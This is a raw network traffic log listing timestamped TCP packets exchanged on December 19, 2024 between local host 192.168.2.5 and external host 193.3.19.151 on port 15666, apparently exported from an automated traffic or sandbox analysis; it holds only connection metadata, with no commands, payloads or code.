Dec 19, 2024 08:53:05.583714962 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.583741903 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.583760023 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.583858967 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.583872080 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.583911896 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.583933115 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.583945036 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.583956003 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.584012032 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.584022045 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.584052086 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.584099054 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.584182978 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.584222078 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.584270954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.584284067 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.584295988 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.584321976 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.584350109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.584374905 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.584389925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.584431887 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.674458981 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.674501896 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.674529076 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.674561977 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.674565077 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.674592018 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.674616098 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.674619913 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.674647093 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.674649954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.674670935 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.674699068 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.674702883 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.674731970 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.674757004 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.674767017 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.674787998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.674817085 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.674823046 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.674864054 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.674913883 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.674962997 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.674988031 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675020933 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675045013 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675071955 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675098896 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675154924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675183058 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675201893 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675225973 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675250053 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675282001 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675323963 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675338030 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675411940 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675440073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675473928 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675477028 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675492048 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675523043 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675527096 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675580978 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675595999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675625086 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675673962 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675679922 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675702095 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675734043 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675736904 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675756931 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675785065 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675807953 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675857067 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675879002 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675888062 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.675911903 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675942898 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.675956964 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676004887 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676007986 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676037073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676055908 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676089048 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676104069 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676151037 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676178932 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676198959 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676207066 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676230907 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676310062 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676338911 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676357985 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676390886 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676397085 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676422119 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676480055 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676507950 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676536083 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676563978 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676651955 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676661968 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676691055 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676744938 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676820040 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676848888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676873922 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676897049 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676904917 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676937103 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.676963091 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.676991940 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677043915 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677071095 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677119970 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677176952 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677227020 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677253962 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677279949 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677339077 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677366972 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677395105 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677409887 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677438974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677486897 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677490950 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677521944 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677541971 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677570105 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677572012 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677604914 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677627087 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677660942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677716017 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677743912 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677767992 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677800894 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677860975 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677896023 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677923918 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677937031 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677951097 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677978992 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.677987099 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.677999973 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.678011894 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.678029060 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.678065062 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.679563999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.679651022 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.679678917 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.679687977 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.679718971 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.679744005 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.679770947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.679822922 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.679843903 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.679896116 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.679938078 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.679950953 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.680001974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.680052042 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.680068970 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.680123091 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.680181026 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.680210114 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.680277109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.680366039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.680393934 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.680413961 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.680449963 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.680466890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.680516958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.680524111 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.680546045 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.680612087 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.680764914 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.680818081 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.680871964 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.680922985 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.680977106 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681025028 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.681055069 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681087017 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681097031 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.681197882 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681219101 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.681227922 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681252956 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.681261063 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681282997 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.681318045 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681318998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.681387901 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681416035 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681447983 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681453943 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.681467056 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.681499004 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681504965 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.681549072 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.681550026 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681577921 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681602001 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.681643963 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.681657076 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.681711912 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.683605909 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.683751106 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.683779955 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.683803082 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.683820009 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.683841944 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.683873892 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.683892965 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.683922052 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.683978081 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684005022 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684034109 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684089899 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684139967 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684169054 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684218884 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684230089 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684247971 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684273005 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684298992 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684326887 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684473038 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684474945 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684501886 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684530020 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684535980 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684570074 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684570074 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684600115 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684632063 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684653044 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684680939 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684772968 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684801102 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684824944 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684828043 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684854031 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684897900 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.684905052 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684954882 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.684973001 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.685004950 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.685033083 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.685064077 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.685085058 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.685117006 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.685146093 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.685195923 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.685211897 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.685225964 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.685250998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.685259104 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.685278893 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.685307980 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.687585115 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.687617064 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.687648058 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.687670946 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.687690973 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.687699080 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.687725067 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.687762022 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.687781096 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.687830925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.687844992 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.687889099 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.687903881 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.687936068 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.687958956 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.687984943 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.688050032 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688079119 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688117027 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.688127995 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688155890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688175917 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.688189030 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688208103 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.688216925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688246012 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.688266039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688266993 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.688294888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688327074 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688335896 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.688354015 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.688380957 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.688500881 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688534021 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688591957 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.688673973 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.688765049 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688817024 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688870907 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.688950062 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.688982010 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689040899 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.689058065 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689086914 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689111948 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.689138889 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689140081 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.689169884 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689183950 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.689227104 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.689239025 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689268112 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689316988 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.689317942 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689351082 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689377069 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.689403057 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689408064 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.689435005 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689485073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689486027 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.689513922 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.689554930 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.689574003 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.692163944 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692199945 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692224979 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.692260027 CET	49709	15666	192.168.2.5	193.3.19.151
